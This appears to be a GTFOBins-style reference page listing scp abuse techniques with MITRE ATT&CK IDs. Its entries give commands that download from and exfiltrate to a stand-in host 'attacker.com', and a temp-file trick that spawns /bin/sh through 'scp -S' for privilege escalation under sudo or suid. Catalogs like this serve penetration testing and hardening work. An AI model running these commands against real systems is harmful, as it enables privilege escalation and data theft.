Catalog GTFOBins

GTFO · Tool

scp

12 techniques Linux · macOSGTFOBins GPL-3.0
download
File DownloadPrivilege Escalation LinuxmacOS
scp user@attacker.com:/path/to/input-file /path/to/output-file
Context
sudo
Native
download
MITRE
T1105
download
File DownloadPrivilege Escalation LinuxmacOS
scp user@attacker.com:/path/to/input-file /path/to/output-file
Context
suid
Native
download
MITRE
T1105
download
File Download LinuxmacOS
scp user@attacker.com:/path/to/input-file /path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105
shell
ExecutionPrivilege Escalation LinuxmacOS
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation LinuxmacOS
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:
Context
suid
Native
shell
MITRE
T1059
shell
Execution LinuxmacOS
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:
Context
unprivileged
Native
shell
MITRE
T1059
upload
File UploadPrivilege Escalation LinuxmacOS
scp /path/to/input-file user@attacker.com:/path/to/output-file
Context
sudo
Native
upload
MITRE
T1041
upload
File UploadPrivilege Escalation LinuxmacOS
scp /path/to/input-file user@attacker.com:/path/to/output-file
Context
suid
Native
upload
MITRE
T1041